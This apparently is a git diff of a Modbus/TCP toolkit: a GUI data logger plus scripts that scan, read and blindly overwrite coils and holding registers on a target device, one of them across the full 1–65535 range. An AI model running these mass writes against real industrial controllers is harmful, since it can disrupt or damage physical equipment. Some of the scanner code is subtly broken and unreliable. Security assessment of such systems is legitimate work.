dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, 